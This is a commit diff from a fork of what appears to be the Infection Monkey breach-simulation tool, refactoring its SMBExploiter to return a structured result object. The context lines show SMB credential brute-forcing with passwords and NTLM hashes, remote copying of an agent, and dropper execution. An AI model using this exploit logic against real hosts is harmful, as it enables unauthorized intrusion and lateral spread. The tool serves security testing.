forked from p15670423/monkey
Agent: Return ExploitResultData from SMBExploiter
This commit is contained in:
parent
eddb9d527f
commit
8eace7c736
|
@ -32,7 +32,6 @@ class SMBExploiter(HostExploiter):
|
||||||
dest_path = get_agent_dest_path(self.host, self.options)
|
dest_path = get_agent_dest_path(self.host, self.options)
|
||||||
creds = generate_brute_force_combinations(self.options["credentials"])
|
creds = generate_brute_force_combinations(self.options["credentials"])
|
||||||
|
|
||||||
exploited = False
|
|
||||||
for user, password, lm_hash, ntlm_hash in creds:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
|
@ -59,7 +58,7 @@ class SMBExploiter(HostExploiter):
|
||||||
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
exploited = True
|
self.exploit_result.exploitation_success = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
|
@ -72,9 +71,9 @@ class SMBExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not self.exploit_result.exploitation_success:
|
||||||
logger.debug("Exploiter SmbExec is giving up...")
|
logger.debug("Exploiter SmbExec is giving up...")
|
||||||
return False
|
return self.exploit_result
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != dest_path.lower():
|
if remote_full_path.lower() != dest_path.lower():
|
||||||
|
@ -117,7 +116,12 @@ class SMBExploiter(HostExploiter):
|
||||||
break
|
break
|
||||||
|
|
||||||
if not smb_conn:
|
if not smb_conn:
|
||||||
return False
|
msg = "Failed to establish an RPC connection over SMB"
|
||||||
|
|
||||||
|
logger.warning(msg)
|
||||||
|
self.exploit_result.error_message = msg
|
||||||
|
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
# TODO: We DO want to deal with timeouts
|
# TODO: We DO want to deal with timeouts
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
@ -151,6 +155,7 @@ class SMBExploiter(HostExploiter):
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
|
|
||||||
self.add_vuln_port(
|
self.add_vuln_port(
|
||||||
"%s or %s"
|
"%s or %s"
|
||||||
|
@ -159,4 +164,4 @@ class SMBExploiter(HostExploiter):
|
||||||
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
return True
|
return self.exploit_result
|
||||||
|
|
Loading…
Reference in New Issue